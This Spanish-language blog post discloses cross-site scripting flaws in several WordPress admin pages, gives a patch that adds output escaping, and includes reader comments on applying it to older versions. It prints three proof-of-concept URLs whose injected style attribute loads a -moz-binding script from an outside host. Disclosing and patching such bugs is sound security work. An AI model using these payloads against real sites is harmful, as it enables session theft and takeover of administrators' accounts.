Actualización: g30rg3_x se ha tomado la molestia de preparar un parche más completo para Wordpress 2.2.
Siguen reportándose más bugs de Wordpress, esta vez afecta a los archivos wp-admin/post-new.php, wp-admin/page-new.php, wp-admin/users-edit.php. Estos errores al parecer están presentes en todas las versiones de Wordpress.
Las pruebas de concepto son las siguientes (sólo funcionan en Firefox, pero también se pueden preparar ejemplos para Internet Explorer):
http://www.site.com/path.to/wp-admin/post-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&popuptitle=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/page-new.php?text=&popupurl=http%3A%2F%2Fha.ckers.org%2Fxss.html&post_title=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
http://www.site.com/path.to/wp-admin/user-edit.php?user_id=1&wp_http_referer=%22style=-moz-binding:url(%22http://ha.ckers.org/xssmoz.xml%23xss%22)'
Si alguien no quiere esperar una nueva versión y desea corregir el problema por sus propios medios, puede basarse en el siguiente parche generado a partir de la versión de desarrollo de Wordpress:
===================================================================
--- wp-admin/edit-form-advanced.php (revision 5508)
+++ wp-admin/edit-form-advanced.php (working copy)
@@ -140,7 +140,7 @@
<fieldset id="titlediv">
<legend><?php _e('Title') ?></legend>
- <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+ <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
</fieldset>
<fieldset id="<?php echo user_can_richedit() ? 'postdivrich' : 'postdiv'; ?>">
Index: wp-admin/edit-page-form.php
===================================================================
--- wp-admin/edit-page-form.php (revision 5508)
+++ wp-admin/edit-page-form.php (working copy)
@@ -126,7 +126,7 @@
<fieldset id="titlediv">
<legend><?php _e('Page Title') ?></legend>
- <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo $post->post_title; ?>" id="title" /></div>
+ <div><input type="text" name="post_title" size="30" tabindex="1" value="<?php echo attribute_escape($post->post_title); ?>" id="title" /></div>
</fieldset>
Index: wp-admin/user-edit.php
===================================================================
--- wp-admin/user-edit.php (revision 5508)
+++ wp-admin/user-edit.php (working copy)
@@ -76,7 +76,7 @@
<form name="profile" id="your-profile" action="user-edit.php" method="post">
<?php wp_nonce_field('update-user_' . $user_id) ?>
<?php if ( $wp_http_referer ) : ?>
- <input type="hidden" name="wp_http_referer" value="<?php echo wp_specialchars($wp_http_referer); ?>" />
+ <input type="hidden" name="wp_http_referer" value="<?php echo clean_url($wp_http_referer); ?>" />
<?php endif; ?>
<p>
<input type="hidden" name="from" value="profile" />
Para los que no estén familiarizados con los parches, deben eliminar las líneas que comienzan con "-" y cambiarlas por las que empiezan por "+".

Buenas, he probado los tres exploit con FF 1.0.4 y me redirige a la página de login. El WP es un 2.1.3
Necesitas las credenciales del administrador para que funcione, este tipo de vulnerabilidades normalmente van acompañados de ataques CSRF.
Alex duda; la última parte del DIFF, concretamente la de user-edit.php se refiere a una función que en 2.0.x (o al menos en mi versión) no existe, el trozo que a mí me sale es:
<h2><?php _e('Edit User'); ?></h2>
<form name="profile" id="your-profile" action="user-edit.php" method="post">
<?php wp_nonce_field('update-user_' . $user_id) ?>
<p>
<input type="hidden" name="from" value="profile" />
<input type="hidden" name="checkuser_id" value="<?php echo $user_ID ?>" />
</p>
Como ves, no existe ninguna función wp_http_referer.
@Armonth: Para en 2.0 no existe esa parte, por eso mencionaba que el parche fue generado a partir de la versión de desarrollo (trunk del svn).
Por otro lado, ya está disponible una solución más completa hecha por un desarrollador de WP.
En WP 2.0.10 no encuentro $post->post_title; en los ficheros que más se aproximan:
wp-admin/page-new.post
wp-admin/post.php
wp-admin/user-edit.php
wp-admin/users.php
@maty: Los bugs son accesibles a través de esos archivos, pero en realidad éstos no se encuentran ahí, tal como se aprecia en el parche tienes que corregir los archivos
wp-admin/edit-form-advanced.phpywp-admin/edit-page-form.phpSí en:
wp-admin/edit-form.php
wp-admin/edit-form-advanced.php
wp-admin/edit-page-form.php
Vaya, hemos coincidido. Pero yo he encontrado uno más!
Vale, ya estaba avisado, cachis. He actualizado UTI, ahora toca otras, con WP 2.1.
Acabo de terminar un parche mas completo para la serie 2.2 el cual base en el cambio para el trunk y claro añadi lo que le falto...
Te dejo los archivos ya con los cambios hechos y el archivo de diferencias en:
http://www.mediafire.com/?8dwdxwnmduj
Saludos alex
Hola alex...
uno se duerme y salen estas cosas y tantranquilos que ya estabamos.
te dejo un parche que puse en el trac...
http://www.mediafire.com/?8dwdxwnmduj
Gracias por los parches g30r3_x, disculpa por no mostrar antes tus comentarios -- éstos fueron enviados a la cola de spam y hoy recién acabo de verlos.